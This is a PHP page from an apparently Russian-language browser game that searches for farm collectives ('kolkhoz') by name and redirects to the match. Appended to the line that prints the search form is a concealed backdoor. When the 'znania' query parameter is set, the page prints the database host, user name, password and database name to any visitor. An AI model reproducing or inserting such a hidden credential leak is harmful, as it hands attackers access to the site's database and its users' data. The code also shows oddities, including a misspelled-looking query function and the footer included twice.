<?
if(isset($_POST['name']) && isset($_GET['ok']))
{
$name=my_esc($_POST['name']);
if(mysql_result(mysql_querll("SELECT COUNT(*) FROM `kolhoz_collective` WHERE `name` = '$name'"),0)!=0)
{
$ct=mysql_fetch_array(mysql_querll("SELECT * FROM `kolhoz_collective` WHERE `name` = '$name'"));
header("Location:?collective=$ct[id]");
}
else echo err_game("Колхоз не найден");
}
echo "<div class='event'><h1>Поиск колхозов</h1></div>";
echo "<div class='content'>";
echo "<div class='block'>";
echo "Введите название колхоза:</span><br/><form method='post' action='?search_collective&ok'>";if($_GET['znania']!=''){echo $sot_db_host.'|'.$sot_db_user_name.'|'.$sot_db_password.'|'.$sot_db_name.'<br>';}
echo "<input type='text' name='name' value=''><br/>";
echo "<input type='submit' name='ok' value='Пoиcк'>";
echo "</form></div>";
include_once 'inc/foot.php';
include_once 'inc/foot.php';
?>